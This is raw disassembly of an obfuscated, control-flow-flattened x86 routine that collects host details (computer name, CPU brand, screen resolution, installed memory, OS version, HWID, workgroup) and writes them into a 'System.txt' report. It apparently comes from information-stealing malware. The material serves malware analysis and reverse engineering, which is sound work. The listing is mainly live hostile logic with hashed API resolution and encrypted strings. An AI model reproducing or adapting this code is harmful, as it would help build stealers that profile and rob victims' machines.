jne 0x428eab
mov ecx, dword [esi + 8]
lea eax, [ecx - 0x2e]
add ecx, 2
imul eax, eax
imul edx, eax, 0x5e15
dec edx
shr ecx, 0xe
mov dword [esi + 8], ecx
mov ecx, 0xab7fc4a1
cmp eax, edx
je 0x42bfee
mov ecx, 0xab26b6ce
jmp 0x42bfee
cmp eax, 0x2154265c
je 0x42bd5f
cmp eax, 0x2184e6fc
jne 0x428eab
mov eax, dword [esi + 0x30]
mov eax, dword [esi + 0x2c]
mov dword [esi], 0xcae7d6f9
jmp 0x428eab
cmp eax, 0xab26b6ce
je 0x42bd9a
cmp eax, 0xab7fc4a1
jne 0x428eab
imul eax, dword [esi + 4], 0x36d7
shr eax, 3
mov edi, 0x5f1bc186
and eax, 0x1ffffe00
mov dword [esi + 4], eax
je 0x42a607
mov edi, 0xe88c259a
call fcn.00405998
mov dword [esi], edi
jmp 0x428eab
cmp eax, 0x615b110f
je 0x42bda8
cmp eax, 0x61f3ffe3
jne 0x428eab
mov eax, dword [esi + 0x94]
mov eax, dword [esi + 0x88]
mov eax, dword [esi + 0x8c]
mov eax, dword [esi + 0x90]
mov dword [esi + 0x134], eax
mov eax, dword [esi + 0x88]
mov eax, dword [esi + 0x8c]
mov eax, dword [esi + 0x90]
mov eax, dword [esi + 0x94]
mov dword [esi + 0x138], eax
mov dword [esi], 0xe4f18e8f
jmp 0x428eab
cmp eax, 0xd91beb26
je 0x42bdc2
cmp eax, 0xdb1522b5
jne 0x428eab
mov edi, dword [esi + 4]
shl edi, 7
add edi, 0x22a2
mov dword [esi + 4], edi
call fcn.00405998
push edi
push 0xd57
push 0x5f3e
call fcn.004202e8
add esp, 0xc
mov eax, 0xd74a0f18
cmp edi, 0xa4
jge 0x42c15e
mov eax, 0xda8ad0d
jmp 0x42c15e
cmp eax, 0x17dbd9f7
je 0x42bdfa
cmp eax, 0x191d7f5e
jne 0x428eab
mov eax, dword [esi + 0xe4]
mov word [eax], 0xa
mov dword [esi], 0x60ca634
jmp 0x428eab
cmp eax, 0x934be26f
je 0x42be32
cmp eax, 0x937a5d68
jne 0x428eab
mov eax, dword [esi + 0x14]
mov dword [eax], 0x100
mov dword [esi], 0xa540ef89
jmp 0x428eab
cmp eax, 0x566818b5
je 0x42be4b
cmp eax, 0x56fb1c8d
jne 0x428eab
push dword [esi + 0x30]
push dword [esi + 0xc]
call fcn.0043ece0
add esp, 8
mov dword [esi], 0x66024f5d
jmp 0x428eab
cmp eax, 0xf88137dd
je 0x42be70
cmp eax, 0xf92a381c
jne 0x428eab
mov dword [esi], 0xffbd1610
jmp 0x428eab
cmp eax, 0x374a509b
je 0x42be94
cmp eax, 0x386a96aa
jne 0x428eab
mov eax, dword [esi + 4]
shr eax, 3
imul ecx, eax, 0xdd
mov dword [esi + 4], ecx
mov eax, 0xe88c259a
cmp ecx, 0x74
jl 0x42c198
mov eax, 0x359a4a84
jmp 0x42c198
cmp eax, 0xbce63931
je 0x42bebf
cmp eax, 0xbe8bd9a0
jne 0x428eab
imul eax, dword [esi + 8], 0x22c00000
shr eax, 2
mov dword [esi + 8], eax
mov dword [esi], 0x6fa4c2e4
jmp 0x428eab
cmp eax, 0x768be4b1
je 0x42bef2
cmp eax, 0x787048c5
jne 0x428eab
mov eax, dword [esi + 0xa4]
mov eax, dword [esi + 0xa0]
mov eax, dword [esi + 0x98]
mov eax, dword [esi + 0x9c]
mov dword [esi + 0x144], eax
mov dword [esi], 0xd419cf2d
jmp 0x428eab
cmp eax, 0xd56a457d
je 0x42bf1d
cmp eax, 0xd5aa8b2b
jne 0x428eab
push dword [esi + 0x50]
push dword [esi + 0xc]
call fcn.0043ece0
add esp, 8
push dword [esi + 0x4c]
push dword [esi + 0xc]
call fcn.0043ece0
add esp, 8
push dword [esi + 0xc]
call fcn.0043eec0
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], 0xa
mov eax, dword [esi + 0x18]
push dword [esi + 0x18]
call fcn.004307a8
add esp, 4
mov dword [esi + 0xf8], eax
push 1
push 0x800
call fcn.0043ddca
add esp, 8
mov dword [esi + 0xc0], eax
mov dword [esi], 0xc2d8eff3
jmp 0x428eab
cmp eax, 0xd1f1c6b
je 0x42bf51
cmp eax, 0xda8ad0d
jne 0x428eab
push str.41f77d2b0dbe39030d82104620d7346f68cd5d
call fcn.00420352
add esp, 4
mov dword [esi + 0xb4], eax
mov dword [esi], 0xb215b350
jmp 0x428eab
cmp eax, 0x8d08e7b4
je 0x42bf99
cmp eax, 0x8dbaef5b
jne 0x428eab
mov dword [esi], 0xfc8aaaee
jmp 0x428eab
cmp eax, 0x4fa42ed2
je 0x42bfc4
cmp eax, 0x503d8499
jne 0x428eab
movzx ecx, word [esi + 6]
and ecx, 0x1ff
mov dword [esi + 4], ecx
mov eax, 0xe88c259a
cmp ecx, 0x18
jne 0x42a946
jmp 0x42c198
cmp eax, 0xefae2415
je 0x42bff5
cmp eax, 0xf110033e
jne 0x428eab
mov ecx, dword [esi + 4]
add ecx, 0xffffffda
mov dword [esi + 4], ecx
mov eax, 0xf2bf8b37
cmp ecx, 0x18
jae 0x42c198
mov eax, 0x17dbd9f7
jmp 0x42c198
cmp eax, 0x2f4415a9
je 0x42c023
cmp eax, 0x30c346c6
jne 0x428eab
mov eax, dword [esi + 0xc]
add eax, dword [esi + 0x114]
mov dword [esi + 0x118], eax
mov dword [esi], 0x98a2430
jmp 0x428eab
cmp eax, 0xb215b350
je 0x42c057
cmp eax, 0xb343ce14
jne 0x428eab
mov eax, dword [esi + 8]
mov ecx, 0xffffff2f
add eax, ecx
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x6373
dec edx
shr eax, 3
and eax, 0x1ffffc00
add eax, 0xfffecc00
mov dword [esi + 8], eax
mov eax, 0x419859e8
cmp edx, ecx
je 0x42c198
mov eax, 0xefae2415
jmp 0x42c198
cmp eax, 0x6dd7c548
je 0x42c08b
cmp eax, 0x6fa4c2e4
jne 0x428eab
push dword [esi + 0xb0]
call fcn.0043e5b4
add esp, 4
mov dword [esi], 0xda8ad0d
jmp 0x428eab
cmp eax, 0xe3a20264
je 0x42c0b0
cmp eax, 0xe480f571
jne 0x428eab
mov eax, dword [esi + 4]
mov ecx, eax
shl ecx, 7
sub ecx, eax
add ecx, 0xffffff93
mov dword [esi + 4], ecx
mov eax, 0x67b43368
cmp ecx, 0xe8
jl 0x42c15e
mov eax, 0x442de8f9
jmp 0x42c15e
cmp eax, 0x1b2e091f
je 0x42c0c4
cmp eax, 0x1b7e6718
jne 0x428eab
imul ecx, dword [esi + 4], 0x7d
add ecx, 0xffff1a05
mov eax, ecx
shr eax, 0xb
add eax, 0xa2
mov dword [esi + 4], eax
mov eax, 0xe0f28195
cmp ecx, 0xd800
jb 0x42c15e
mov eax, 0x359a4a84
jmp 0x42c15e
cmp eax, 0x9eadd92c
je 0x42c0fa
cmp eax, 0xa1678918
jne 0x428eab
imul ecx, dword [esi + 4], 0x588
add ecx, 0xfffff9c0
mov dword [esi + 4], ecx
mov eax, 0x559a1bb7
cmp ecx, 0x84
jl 0x42adc5
jmp 0x42c15e
cmp eax, 0x5e5732f9
je 0x42c12b
cmp eax, 0x5f1bc186
jne 0x428eab
mov ecx, dword [esi + 4]
mov eax, 0xb7000
add ecx, eax
mov eax, 0xc8f28e48
and ecx, 0xfffff000
mov dword [esi + 4], ecx
je 0x42c198
mov eax, 0xf110033e
jmp 0x42c198
cmp eax, 0x159486f
je 0x42c136
cmp eax, 0x2bab38c
jne 0x428eab
push dword [esi + 0x110]
push dword [esi + 0xc]
call fcn.0043ece0
add esp, 8
push dword [esi + 0xc]
call fcn.0043eec0
add esp, 4
mov dword [esi + 0x114], eax
mov dword [esi], 0x24e3a010
jmp 0x428eab
cmp eax, 0x4172d054
je 0x42c165
cmp eax, 0x419859e8
jne 0x428eab
mov edi, dword [esi + 4]
shl edi, 0xa
or edi, 0x34
mov dword [esi + 4], edi
call fcn.00405998
push edi
call fcn.00428e94
add esp, 4
mov dword [esi], 0xe7685976
jmp 0x428eab
cmp eax, 0xc56a3999
je 0x42c17a
cmp eax, 0xc8f28e48
jne 0x428eab
mov eax, dword [esi + 4]
lea ecx, [eax + eax*4]
lea ecx, [ecx + ecx*4]
lea edi, [eax + ecx]
add edi, 0x17
mov dword [esi + 4], edi
push edi
call fcn.00428e94
add esp, 4
mov eax, 0x9a29c658
cmp edi, 0xe3
jae 0x42b1dd
jmp 0x42c198
cmp eax, 0x7ee0c740
je 0x42c19f
cmp eax, 0x7fa56d5f
jne 0x428eab
mov edi, dword [esi + 4]
mov eax, 0xffffff7f
add edi, eax
mov ebx, edi
shr ebx, 3
mov dword [esi + 4], ebx
push ebx
call fcn.00428e94
add esp, 4
push ebx
call fcn.00428e94
add esp, 4
mov eax, 0x31be53bd
cmp edi, 0x538
jae 0x42c15e
mov eax, 0x71c5912e
jmp 0x42c15e
cmp eax, 0xcc7f3401
jne 0x42c1d1
push 0x55
push dword [esi + 0xc4]
push dword [esi + 0xc8]
call fcn.004427c6
add esp, 0xc
mov eax, dword [esi + 0x60]
mov dword [esi], 0x9c3b75b4
jmp 0x428eab
mov eax, dword [esi + 4]
shl eax, 0xe
mov edi, 0x374a509b
and eax, 0x3fffc000
mov dword [esi + 4], eax
je 0x42bf11
mov edi, 0x64d2d51
jmp 0x42bf11
mov edi, dword [esi + 4]
shl edi, 4
and edi, 0x7ffffff0
mov dword [esi + 4], edi
push edi
call fcn.00428e94
add esp, 4
push edi
call fcn.00428e94
add esp, 4
mov eax, 0xfcb665fc
cmp edi, 0xa0
jne 0x42b1dd
jmp 0x42c198
mov eax, dword [esi + 0x30]
mov byte [eax + 8], 0
mov dword [eax + 4], 0x203a7265
mov dword [eax], 0x7355202d
mov dword [esi], 0x56fb1c8d
jmp 0x428eab
mov eax, dword [esi + 0x54]
mov dword [eax + 0xb], 0x203a6e
mov dword [eax + 8], 0x6e6f6973
mov dword [eax + 4], 0x72655620
mov dword [eax], 0x534f202d
mov dword [esi], 0x4172d054
jmp 0x428eab
mov eax, dword [esi + 4]
shr eax, 6
imul edi, eax, 0x10c78
add edi, 0x581490
mov dword [esi + 4], edi
push 0x3f05
push 0x1faa
push edi
call fcn.004202e8
add esp, 0xc
push edi
call fcn.00428e94
add esp, 4
mov eax, 0xca7d9612
cmp edi, 0x93
jge 0x42c198
mov eax, 0xe3a20264
jmp 0x42c198
mov eax, dword [esi + 0xdc]
mov byte [eax + 2], 0
mov word [eax], 0xa0a
mov dword [esi], 0xdee81455
jmp 0x428eab
mov eax, dword [esi + 8]
mov ecx, 0xffffff6a
add eax, ecx
imul ecx, eax, 0x72800
imul eax, eax
imul edx, eax, 0xe15
dec edx
mov dword [esi + 8], ecx
mov ecx, 0xb6c0e377
cmp eax, edx
je 0x42bfee
mov ecx, 0x615b110f
jmp 0x42bfee
mov eax, dword [esi + 0x34]
mov eax, dword [esi + 0x14]
mov dword [esi], 0x23667d06
jmp 0x428eab
mov eax, dword [esi + 4]
mov ecx, eax
shl ecx, 6
lea edi, [ecx + eax*4]
add edi, 0xffffff5f
mov dword [esi + 4], edi
call fcn.00405998
mov eax, 0xf22e1b04
cmp edi, 0x9d
jl 0x42c15e
mov eax, 0x66024f5d
jmp 0x42c15e
mov eax, dword [esi + 0x24]
mov dword [eax], 0x8000
push 0x454350
push 0xa2f80070
call fcn.0042e364
add esp, 8
push dword [esi + 0x24]
push dword [esi + 0xb8]
call eax
mov eax, dword [esi + 0x28]
mov eax, dword [esi + 0x28]
mov dword [eax], 0x4350202d
mov dword [eax + 3], 0x203a43
push dword [esi + 0x28]
push dword [esi + 0xc]
call fcn.0043ece0
add esp, 8
mov dword [esi], 0x64d2d51
jmp 0x428eab
push dword [esi + 0x40]
push dword [esi + 0xc]
call fcn.0043ece0
add esp, 8
push dword [esi + 0x3c]
push dword [esi + 0xc]
call fcn.0043ece0
add esp, 8
push dword [esi + 0xc]
call fcn.0043eec0
add esp, 4
mov dword [esi + 0xec], eax
mov dword [esi], 0x59b82ec3
jmp 0x428eab
mov dword [esi], 0x5fc7ebfe
jmp 0x428eab
imul eax, dword [esi + 8], 0xe6000000
add eax, 0x940000d7
mov dword [esi + 8], eax
mov dword [esi], 0x559a1bb7
jmp 0x428eab
mov eax, dword [esi + 4]
shr eax, 1
imul ecx, eax, 0x1730
mov dword [esi + 4], ecx
mov eax, 0x191d7f5e
cmp ecx, 0x55
jae 0x42b7c3
jmp 0x42c15e
mov eax, dword [esi + 0xa4]
mov eax, dword [esi + 0x98]
mov eax, dword [esi + 0x9c]
mov eax, dword [esi + 0xa0]
mov ecx, dword [esi + 0xa0]
mov ecx, dword [esi + 0x98]
mov ecx, dword [esi + 0x9c]
mov ecx, dword [esi + 0xa4]
mov edx, dword [esi + 0x10]
mov edi, dword [esi + 0x140]
mov dword [edx + 0x20], edi
mov edx, dword [esi + 0x10]
mov edi, dword [esi + 0x144]
mov dword [edx + 0x24], edi
mov edx, dword [esi + 0x10]
mov dword [edx + 0x28], eax
mov eax, dword [esi + 0x10]
mov dword [eax + 0x2c], ecx
mov dword [esi], 0xa2cc8593
jmp 0x428eab
imul edi, dword [esi + 4], 0x62
add edi, 0xffffffd7
mov dword [esi + 4], edi
push 0xbc3
push edi
push 0x5108
call fcn.004202e8
add esp, 0xc
push edi
push 0x1980
push 0x61b3
call fcn.004202e8
add esp, 0xc
mov eax, 0x38ff502d
cmp edi, 0xb3
jae 0x42c15e
mov eax, 0xce6da06a
jmp 0x42c15e
mov eax, dword [esi + 0x64]
mov byte [eax + 0xc], 0
mov dword [eax + 8], 0x203a656d
mov dword [eax + 4], 0x614e2055
mov dword [eax], 0x5043202d
push dword [esi + 0x64]
push dword [esi + 0xc]
call fcn.0043ece0
add esp, 8
push dword [esi + 0x10]
push dword [esi + 0xc]
call fcn.0043ece0
add esp, 8
push dword [esi + 0xc]
call fcn.0043eec0
add esp, 4
mov dword [esi + 0x148], eax
mov dword [esi], 0xdb205217
jmp 0x428eab
push dword [esi + 0x14]
push dword [esi + 0x44]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [esi + 0x48]
push 0x1c
push str.__ComputerNameDnsHostname:
push dword [esi + 0x48]
call fcn.004333a0
add esp, 0xc
push dword [esi + 0x48]
push dword [esi + 0xc]
call fcn.0043ece0
add esp, 8
push dword [esi + 0x44]
push dword [esi + 0xc]
call fcn.0043ece0
add esp, 8
push dword [esi + 0xc]
call fcn.0043eec0
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0xf4], eax
mov dword [esi], 0x2f4415a9
jmp 0x428eab
mov eax, dword [esi + 0x3c]
mov dword [esi], 0x8e8d4c6f
jmp 0x428eab
push eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x58], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x5c], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x60], eax
mov dword [esi], 0xd7df6f29
jmp 0x428eab
mov ecx, dword [esi + 8]
lea eax, [ecx - 0x61]
imul eax, eax
add ecx, 0xffffffca
imul edx, eax, 0x67ff
shr ecx, 7
dec edx
mov dword [esi + 8], ecx
mov ecx, 0xc56673a5
cmp edx, eax
je 0x42bfee
mov ecx, 0x20f7d7de
jmp 0x42bfee
mov edi, dword [esi + 4]
and edi, 0xfffffff8
shl edi, 0x11
add edi, 0xfffffdfe
mov dword [esi + 4], edi
push 0x2b7e
push edi
push 0xd71
call fcn.004202e8
add esp, 0xc
mov eax, 0x40b1f468
cmp edi, 0x3e
jge 0x42c15e
mov eax, 0x4616c898
jmp 0x42c15e
mov eax, 0x80000003
xor ecx, ecx
cpuid
mov dword [esi + 0x88], eax
mov dword [esi + 0x8c], ebx
mov dword [esi + 0x90], ecx
mov dword [esi + 0x94], edx
mov eax, dword [esi + 0x8c]
mov eax, dword [esi + 0x90]
mov eax, dword [esi + 0x94]
mov eax, dword [esi + 0x88]
mov dword [esi + 0x12c], eax
mov eax, dword [esi + 0x90]
mov eax, dword [esi + 0x94]
mov eax, dword [esi + 0x88]
mov eax, dword [esi + 0x8c]
mov dword [esi + 0x130], eax
mov dword [esi], 0xb09b03be
jmp 0x428eab
mov edi, dword [esi + 4]
shl edi, 6
add edi, 0x1480
mov dword [esi + 4], edi
push edi
call fcn.00428e94
add esp, 4
mov eax, 0xe3a20264
cmp edi, 0x58
jge 0x42c198
mov eax, 0xca7d9612
jmp 0x42c198
mov edi, dword [esi + 4]
shl edi, 0x1d
mov dword [esi + 4], edi
push 0x3e57
push 0x1078
push edi
call fcn.004202e8
add esp, 0xc
call fcn.00405998
mov eax, 0x6fa4c2e4
cmp edi, 0x24
jl 0x42c15e
mov eax, 0x7146eb79
jmp 0x42c15e
mov eax, dword [esi + 8]
shr eax, 0x18
lea ecx, [eax + 0xb5]
imul ecx, ecx
imul edx, ecx, 0x6505
dec edx
lea eax, [eax*4 - 0x19c]
mov dword [esi + 8], eax
mov eax, 0xd3cae9ab
cmp edx, ecx
je 0x42c198
mov eax, 0x8097b18f
jmp 0x42c198
mov edi, dword [esi + 4]
shl edi, 7
add edi, 0xfffffd2f
mov dword [esi + 4], edi
push edi
call fcn.00428e94
add esp, 4
push edi
push 0x4077
push 0x2365
call fcn.004202e8
add esp, 0xc
mov eax, 0x5577d6d4
cmp edi, 0xa0
jb 0x42c198
mov eax, 0x6fa4c2e4
jmp 0x42c198
mov eax, dword [esi + 0x84]
mov eax, dword [esi + 0x80]
mov eax, dword [esi + 0x78]
mov eax, dword [esi + 0x7c]
mov ecx, dword [esi + 0x84]
mov ecx, dword [esi + 0x78]
mov ecx, dword [esi + 0x7c]
mov ecx, dword [esi + 0x80]
mov edx, dword [esi + 0x80]
mov edx, dword [esi + 0x78]
mov edx, dword [esi + 0x7c]
mov edx, dword [esi + 0x84]
mov dword [esi + 0x128], edx
mov edx, dword [esi + 0x10]
mov edi, dword [esi + 0x124]
mov dword [edx], edi
mov edx, dword [esi + 0x10]
mov dword [edx + 4], eax
mov eax, dword [esi + 0x10]
mov dword [eax + 8], ecx
mov dword [esi], 0xbc9fc322
jmp 0x428eab
mov edi, dword [esi + 4]
mov eax, 0xffffdf80
add edi, eax
mov ebx, 0x1b2e091f
and edi, 0xffffff80
mov dword [esi + 4], edi
je 0x42b261
mov ebx, 0x5b1bebb4
push 0x4d
push edi
push 0x4a85
call fcn.004202e8
add esp, 0xc
push edi
push 0x500e
push 0x5b4f
call fcn.004202e8
add esp, 0xc
mov dword [esi], ebx
jmp 0x428eab
mov eax, dword [esi + 4]
shr eax, 0xe
add eax, 0x12d
mov dword [esi + 4], eax
push eax
call fcn.00428e94
add esp, 4
mov dword [esi], 0xc56673a5
jmp 0x428eab
mov eax, dword [esi + 0x14]
mov dword [eax], 0x100
mov dword [esi], 0xb343ce14
jmp 0x428eab
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0x148]
mov word [eax + ecx], 0xa
mov dword [esi], 0xad1c7cd9
jmp 0x428eab
xor edi, edi
inc edi
push edi
mov ebx, 0x20
push ebx
call fcn.0043ddca
add esp, 8
mov dword [esi + 0xa8], eax
push edi
push ebx
call fcn.0043ddca
add esp, 8
mov dword [esi + 0xac], eax
mov dword [esi], 0x5b1bebb4
jmp 0x428eab
mov eax, dword [esi + 0xc]
add eax, dword [esi + 0x11c]
mov dword [esi + 0x120], eax
mov dword [esi], 0x784efa5
jmp 0x428eab
mov eax, dword [esi + 0x20]
xor ecx, ecx
mov dword [eax + 4], ecx
mov dword [eax], ecx
mov dword [esi], 0x4dc46a39
jmp 0x428eab
mov eax, dword [esi + 8]
shl eax, 0xc
add eax, 0xfff9a7bd
mov dword [esi + 8], eax
mov dword [esi], 0x566818b5
jmp 0x428eab
mov dword [esi], 0x7b64b85d
jmp 0x428eab
mov edi, dword [esi + 4]
shr edi, 2
add edi, 0xffffff56
shr edi, 0x1a
add edi, 0xffffff5b
mov dword [esi + 4], edi
call fcn.00405998
push edi
push 0x3b17
push 0x65a
call fcn.004202e8
add esp, 0xc
mov dword [esi], 0xad6d80c0
jmp 0x428eab
mov ecx, dword [esi + 8]
mov eax, 0xffffff40
add ecx, eax
mov eax, ecx
imul eax, ecx
imul edx, eax, 0x16c5
shr ecx, 4
dec edx
lea ecx, [ecx + ecx*4]
lea ecx, [ecx*4 - 0x550]
mov dword [esi + 8], ecx
mov ecx, 0x8f784c7a
cmp eax, edx
je 0x42bfee
mov ecx, 0x5577d6d4
jmp 0x42bfee
mov dword [esi], 0x787048c5
jmp 0x428eab
mov ecx, dword [esi + 4]
shr ecx, 2
and ecx, 0x7f800
lea eax, [ecx - 0x47]
mov dword [esi + 4], eax
mov eax, 0x374a509b
test ecx, ecx
je 0x42c198
mov eax, 0xf2bf8b37
jmp 0x42c198
mov eax, dword [esi + 0x5c]
mov dword [esi], 0xd6f4e0e3
jmp 0x428eab
push 0x16
push str.System.txt
push dword [esi + 0x74]
call fcn.004333a0
add esp, 0xc
push dword [esi + 0xc]
call fcn.0043eec0
add esp, 4
push eax
push dword [esi + 0xc]
push dword [esi + 0x74]
push dword [ebp + 8]
call fcn.0041988d
add esp, 0x10
mov eax, dword [esi + 0x74]
mov eax, dword [esi + 0x70]
mov eax, dword [esi + 0x6c]
mov dword [esi], 0xf88137dd
jmp 0x428eab
mov eax, dword [esi + 8]
shr eax, 9
and eax, 0x1fffff
imul ecx, eax, 0x6a40
imul eax, eax
imul edx, eax, 0x4043
dec edx
mov dword [esi + 8], ecx
mov ecx, 0x5577d6d4
cmp eax, edx
je 0x42bfee
mov ecx, 0x8a7477c9
jmp 0x42bfee
imul ecx, dword [esi + 4], 0x7ae90
add ecx, 0x3edc35e
mov dword [esi + 4], ecx
mov eax, 0x7fa56d5f
cmp ecx, 0x53
jae 0x42c15e
mov eax, 0x7b5a2a4c
jmp 0x42c15e
mov dword [esi], 0x479a4de1
jmp 0x428eab
imul eax, dword [esi + 4], 0x53000
add eax, 0x22b1000
and eax, 0xffff8000
or eax, 0x2c00
mov dword [esi + 4], eax
push eax
call fcn.00428e94
add esp, 4
mov dword [esi], 0x9a93de8
jmp 0x428eab
mov ecx, dword [esi + 4]
mov eax, 0xfffffc0
and ecx, eax
mov dword [esi + 4], ecx
mov eax, 0x8faf1f90
cmp ecx, 0x59
jb 0x42c15e
mov eax, 0xe7685976
jmp 0x42c15e
mov ecx, dword [esi + 8]
lea eax, [ecx + 0x94]
add ecx, 0x14c
imul eax, eax
shr ecx, 2
imul edx, eax, 0x22f1
dec edx
add ecx, 0xc8
mov dword [esi + 8], ecx
mov ecx, 0x191d7f5e
cmp eax, edx
je 0x42bfee
mov ecx, 0x3def1733
jmp 0x42bfee
mov eax, dword [esi + 0x64]
mov dword [esi], 0xc110bd55
jmp 0x428eab
imul edi, dword [esi + 4], 0xb451
mov dword [esi + 4], edi
call fcn.00405998
push edi
push 0x3890
push 0x54c9
call fcn.004202e8
add esp, 0xc
mov eax, 0xd91beb26
cmp edi, 0xa8
jae 0x42c15e
mov eax, 0x56fb1c8d
jmp 0x42c15e
mov eax, dword [esi + 0x70]
mov dword [eax], 0xa424d
push dword [esi + 0x70]
push dword [esi + 0xc]
call fcn.0043ece0
add esp, 8
mov eax, dword [esi + 0x74]
mov dword [esi], 0x80dbd66f
jmp 0x428eab
push dword [esi + 0x60]
push dword [esi + 0xc]
call fcn.0043ece0
add esp, 8
push dword [esi + 0xc8]
push dword [esi + 0xc]
call fcn.0043ece0
add esp, 8
mov dword [esi], 0x56112f5c
jmp 0x428eab
push 0x15
push str.__Screen_Resoluton:
push dword [esi + 0x5c]
call fcn.004333a0
add esp, 0xc
push dword [esi + 0x5c]
push dword [esi + 0xc]
call fcn.0043ece0
add esp, 8
mov dword [esi], 0x4fa42ed2
jmp 0x428eab
mov eax, dword [esi + 0x84]
mov eax, dword [esi + 0x80]
mov eax, dword [esi + 0x78]
mov ecx, dword [esi + 0x7c]
mov dword [esi + 0x124], eax
mov dword [esi], 0x25e2cc69
jmp 0x428eab
mov eax, dword [esi + 0x20]
mov ecx, dword [eax]
mov ebx, dword [eax + 4]
shld ebx, ecx, 0x16
push 1
mov eax, 0xa
push eax
call fcn.0043ddca
add esp, 8
mov edi, eax
mov eax, 0xa
push eax
push edi
push ebx
call fcn.0043c990
add esp, 0xc
mov eax, dword [esi + 0x6c]
push 0x1e
push str.__Physical_Installed_Memory:
push dword [esi + 0x6c]
call fcn.004333a0
add esp, 0xc
push dword [esi + 0x6c]
push dword [esi + 0xc]
call fcn.0043ece0
add esp, 8
push edi
push dword [esi + 0xc]
call fcn.0043ece0
add esp, 8
mov eax, dword [esi + 0x70]
mov dword [esi], 0xbba258eb
jmp 0x428eab
shl dword [esi + 8], 9
mov dword [esi], 0x79499e71
jmp 0x428eab
mov dword [esi], 0xd40623ca
jmp 0x428eab
imul edi, dword [esi + 4], 0x9e
add edi, 0x33d8
mov dword [esi + 4], edi
push edi
call fcn.00428e94
add esp, 4
mov eax, 0xca7d9612
cmp edi, 0x3c
jb 0x42c198
mov eax, 0xe726792a
jmp 0x42c198
mov eax, dword [esi + 0x58]
mov byte [eax + 8], 0
mov dword [eax + 4], 0x203a4449
mov dword [eax], 0x5748202d
push dword [esi + 0x58]
push dword [esi + 0xc]
call fcn.0043ece0
add esp, 8
mov dword [esi], 0xd56a457d
jmp 0x428eab
mov eax, dword [esi + 0x68]
mov dword [esi], 0x9597c4e0
jmp 0x428eab
push dword [esi + 0x54]
push dword [esi + 0xc]
call fcn.0043ece0
add esp, 8
push dword [esi + 0xc0]
push dword [esi + 0xc]
call fcn.0043ece0
add esp, 8
push dword [esi + 0xc]
call fcn.0043eec0
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], 0xa
mov dword [esi], 0x1f84cf79
jmp 0x428eab
mov eax, dword [esi + 0x14c]
push dword [esi + 0x20]
call eax
mov dword [esi], 0xe5657a9
jmp 0x428eab
mov eax, dword [esi + 4]
mov ecx, 0xe6
add eax, ecx
shr eax, 0xd
imul eax, eax, 0x56
add eax, 0xffffdc0e
shr eax, 4
imul edi, eax, 0xa9
mov dword [esi + 4], edi
push 0x814
push 0x1204
push edi
call fcn.004202e8
add esp, 0xc
mov eax, 0xd91beb26
cmp edi, 0x7f
jb 0x42c15e
mov eax, 0xdee81455
jmp 0x42c15e
mov eax, dword [esi + 0xfc]
mov eax, dword [eax]
mov dword [esi + 0x100], eax
mov eax, dword [esi + 0x18]
mov eax, dword [eax + 4]
mov dword [esi + 0x104], eax
mov eax, dword [esi + 0x18]
mov eax, dword [eax]
mov dword [esi + 0x108], eax
mov dword [esi], 0xeee80e02
jmp 0x428eab
mov edi, dword [esi + 4]
shr edi, 1
and edi, 0x7ff00000
add edi, 0xffff3000
shr edi, 9
mov dword [esi + 4], edi
push 0x59e3
push 0x37f1
push edi
call fcn.004202e8
add esp, 0xc
push edi
call fcn.00428e94
add esp, 4
mov dword [esi], 0xd1f1c6b
jmp 0x428eab
imul eax, dword [esi + 4], 0xfc200000
add eax, 0xdce00000
mov dword [esi + 4], eax
mov dword [esi], 0x57bcd7ad
jmp 0x428eab
mov eax, dword [esi + 8]
shl eax, 0xa
add eax, 0x158da
shr eax, 6
add eax, 0x2f
mov dword [esi + 8], eax
mov dword [esi], 0xe3a20264
jmp 0x428eab
mov eax, dword [esi + 4]
shl eax, 5
and eax, 0x7fffe0
add eax, 0xffffff52
shr eax, 4
imul edi, eax, 0x3a
mov dword [esi + 4], edi
push 0x1808
push edi
push 0x6239
call fcn.004202e8
add esp, 0xc
push edi
call fcn.00428e94
add esp, 4
mov eax, 0x84df7198
cmp edi, 0xdd
jb 0x42c15e
mov eax, 0xba7e249
jmp 0x42c15e
mov edi, dword [esi + 4]
shr edi, 3
and edi, 0x7fff
mov dword [esi + 4], edi
push edi
call fcn.00428e94
add esp, 4
mov eax, 0xe7685976
cmp edi, 0xdb
jb 0x42c15e
mov eax, 0x162474d9
jmp 0x42c15e
mov eax, dword [esi + 0x14]
mov dword [eax], 0x100
push dword [esi + 0x14]
push dword [esi + 0x3c]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [esi + 0x40]
mov eax, dword [esi + 0x40]
mov dword [eax], 0x6f57202d
mov dword [eax + 4], 0x72676b72
mov dword [eax + 8], 0x3a70756f
mov word [eax + 0xc], 0x20
mov dword [esi], 0x39b38a12
jmp 0x428eab
imul edi, dword [esi + 4], 0xb3
add edi, 0xffffff49
mov dword [esi + 4], edi
push 0x4870
push edi
push 0x2ad2
call fcn.004202e8
add esp, 0xc
mov eax, 0x8d08e7b4
cmp edi, 0x5d
jge 0x42c15e
mov eax, 0x852c33ef
jmp 0x42c15e
mov eax, dword [esi + 4]
shr eax, 0xf
imul edi, eax, 0xf8
add edi, 0xfffffe2f
mov dword [esi + 4], edi
push edi
push 0x2c60
push 0x3d84
call fcn.004202e8
add esp, 0xc
call fcn.00405998
mov eax, 0x615b110f
cmp edi, 0xe
jb 0x42c198
mov eax, 0x66024f5d
jmp 0x42c198
mov dword [esi], 0x9a29c658
jmp 0x428eab
mov eax, 0x80000004
xor ecx, ecx
cpuid
mov dword [esi + 0x98], eax
mov dword [esi + 0x9c], ebx
mov dword [esi + 0xa0], ecx
mov dword [esi + 0xa4], edx
mov eax, dword [esi + 0x9c]
mov eax, dword [esi + 0xa0]
mov eax, dword [esi + 0xa4]
mov eax, dword [esi + 0x98]
mov dword [esi + 0x140], eax
mov dword [esi], 0x31ea814
jmp 0x428eab
mov eax, dword [esi + 0x3c]
mov eax, dword [esi + 0x38]
mov eax, dword [esi + 0x14]
mov dword [esi], 0x826d064e
jmp 0x428eab
mov eax, dword [esi + 8]
shr eax, 2
